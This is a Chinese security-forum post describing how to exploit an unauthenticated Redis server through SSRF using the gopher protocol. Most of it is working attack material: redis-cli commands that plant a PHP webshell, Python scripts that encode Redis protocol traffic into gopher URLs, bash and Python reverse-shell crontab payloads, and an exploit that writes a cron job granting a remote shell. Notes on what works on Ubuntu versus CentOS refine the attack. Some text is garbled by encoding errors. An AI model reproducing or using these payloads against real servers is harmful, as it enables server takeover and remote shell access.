Redis和SSRF

sinensis / 2017-12-15 14:43:00 / 浏览数 5562 安全技术 漏洞分析 顶(0) 踩(0)

Orange在BH大会的paper上面这么说的:

```
Protocols that are suitable to smuggle
 HTTP based protocol:
   Elastic, CouchDB, Mongodb, Docker

 Text-based protocol:
   FTP, SMTP, Redis, Memcached
```

Ph在文章里面也提到过，redis的协议是简单的协议流，关于这一点可以查看redis的官方解释:https://redis.io/topics/protocol

在长亭的这篇文章使用gopher攻击redis的流程是这样的(ricterz大大这里没截图):

```
0x01. redis-server■■■■■■■6378■■: redis-server /etc/redis/redis.conf --port 6378
0x02. ■■ socat -v tcp-listen:6379,fork tcp-connetc:localhost:6378(■■■6379■6378■■■■tcp■■■■redis-server■■■■6378■■)
0x03. ■■■■redis-cli■■redis■■■socat■■■■■■payload
```

写个一句话

测试redis版本: 2.8.4(新版改了)
使用redis-server来写shell是这样的步骤:

```
redis-cli -h 127.0.0.1 flushall
redis-cli -h 127.0.0.1 config set dir /var/www
redis-cli -h 127.0.0.1 config set dbfilename shell.php
redis-cli -h 127.0.0.1 set webshell "<?php phpinfo();?>"
redis-cli -h 127.0.0.1 save
```

在socat可以得到以下数据流(取其中一部分)：

```
> 2017/12/05 22:53:31.070766  length=18 from=0 to=17
*1\r
$8\r
flushall\r
< 2017/12/05 22:53:31.073324  length=5 from=0 to=4
+OK\r
> 2017/12/05 22:53:41.799448  length=48 from=0 to=47
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$8\r
/var/www\r
< 2017/12/05 22:53:41.799837  length=5 from=0 to=4
+OK\r
```


可以显然看到，每行都是以\r结尾的，这里redis的协议是以CRLF结尾(官方文档):

Additionally RESP is able to represent a Null value using a special variation of Bulk Strings or Array as specified later.
In RESP different parts of the protocol are always terminated with "\r\n" (CRLF).

所以，在转换的时候，要把\r转换为%0d%0a，提取其中的payload：

```
*1\r
$8\r
flushall\r
*4\r
$6\r
config\r
$3\r
set\r
$3\r
dir\r
$8\r
/var/www\r
*4\r
$6\r
config\r
$3\r
set\r
$10\r
dbfilename\r
$9\r
shell.php\r
*3\r
$3\r
set\r
$3\r
web\r
$18\r
<?php phpinfo();?>\r
*1\r
$4\r
save\r
```

参考joychou写cron的脚本转换，python转换脚本如下:

```
f = open('payload.txt', 'r')
s = ''
for line in f.readlines():
       line = line.replace(r"\r", "%0d%0a")
       line = line.replace("\n", '')
       s = s + line
print s.replace("$", "%24")
```

如上的写shell数据流经过编码如下(注意php一句话，经过上面转换还是尖括号，但是使用curl发送的时候要把一句话的两个尖括号和;和?url编码，然后使用curl直接发送如

```
curl -v "gopher://127.0.0.1:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0ad
```

然后上面的payload在存在ssrf的时候，使用发送之前要再url编码一次，发送即可得到shell。

```
gopher%3A%2F%2F127.0.0.1%3A6378%2F_*1%250d%250a%25248%250d%250aflushall%250d%250a*4%250d%250a%25246%250d%250aconfig%250d%250a%
```

写定时任务

测试环境：
ubuntu 14.04.5 LTS
CentOS 6.7

bash 反弹

在两个系统下直接crontab -e编辑定时任务:

```
*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
```

在ubuntu下不会反弹成功，CentOS可以反弹成功。

Python反弹:

```
*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8
```

ubuntu和Linux均反弹成功。

/etc/crontab

使用上面两个payload，注意这里定时任务需要加user

```
*/1 * * * * root  bash -i >& /dev/tcp/127.0.0.1/2333 0>&1
```

在ubuntu下，bash反弹失败，python反弹成功。
在CentOS下，两个均成功。

/var/spool/cron/root

同样使用上面两个payload反弹shell:

在Ubuntu下，两个均失败。
在CentOS下，两个均成功。

/var/spool/cron/crontabs/root

(Centos默认没有这个路径），所以这个是ubuntu测试：

bash反弹失败
python反弹成功

综合以上来说:
Centos的定式任务在`/var/spool/cron/root`
Ubuntu定时任务`/var/spool/cron/crontabs/root`
https://joychou.org/web/hackredis-enhanced-edition-script.html相当于恬不知耻的复制了大佬的文章。

另外测试redis里面写shell，由于使用redis写crontab的时候，创建的文件权限是644，ubuntu无法执行，

写入/etc/crontab的时候，由于存在乱码，所以会导致ubuntu不能正确识别，导致定时任务失败。

1. 如果写`/etc/crontab`，由于存在乱码，语法不识别，会导致ubuntu不能正确识别，导致定时任务失败。
2. 如果写`/var/spool/cron/crontabs/root`，权限是644，ubuntu不能运行。

所以ubuntu下使用redis写crontab是无法成功反弹shell的。

如果只能写文件，想写crontab反弹shell，对于CentOS系来说:

1. 写`/etc/crontab`文件
2. 使用python反弹shell脚本

redis写定时任务

下面这个是从https://joychou.org/web/phpssrf.html这里搬来的代码，出来的结果，同样需要对其中的$编码:

```
#coding: utf-8
#author: JoyChou
import sys

exp = ''

with open('/Users/xxx/Desktop/1.txt') as f:
   for line in f.readlines():
       if line[0] in '><+':
           continue
       # ■■■■■2■3■■■■■■\r
       elif line[-3:-1] == r'\r':
           # ■■■■■■\r■■\r■■■%0a%0d%0a
           if len(line) == 3:
               exp = exp + '%0a%0d%0a'
           else:
               line = line.replace(r'\r', '%0d%0a')
               # ■■■■■■■■
               line = line.replace('\n', '')
               exp = exp + line
       # ■■■■■■■■■■■■■%0a
```

```
        elif line == '\x0a':
            exp = exp + '%0a'
        else:
            line = line.replace('\n', '')
            exp = exp + line
print exp.replace('$', '%24')
```

攻击的时候时候，使用的是这样的exp:

```
config set dir /var/spool/cron
config set dbfilename root
set www "\n\n*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/2333 0>&1\n\n"
save
```

经过编码之后，得到的exp:

```
gopher://127.0.0.1:6379/_*4%0d%0a%246%0d%0aconfig%0d%0a%243%0d%0aset%0d%0a%243%0d%0adir%0d%0a%2415%0d%0a/var/spool/cron%0d%0a*
```

如果存在ssrf，可以攻击redis，上面exp的再经过http编码即可攻击成功。

感谢以下各位大神的博客，这文章基本是东搬一点，西挪一点，算是一个总结。文章里面如果有什么问题，请各位表哥拍砖 。 =。

- https://www.hugeserver.com/kb/install-redis-centos/
- https://joychou.org/web/phpssrf.html
- https://www.leavesongs.com/PENETRATION/write-webshell-via-redis-server.html
- http://vinc.top/2016/11/24/%E3%80%90ssrf%E3%80%91ssrfgopher%E6%90%9E%E5%AE%9A%E5%86%85%E7%BD%91%E6%9C%AA%E6%8E%88%E6%9D
- https://blog.chaitin.cn/gopher-attack-surfaces/

上一篇：求js代码 下一篇：Web应用程序安全测试备忘录

1. 1 条回复

 2017-12-15 17:19:44

z师傅好

0 回复Ta
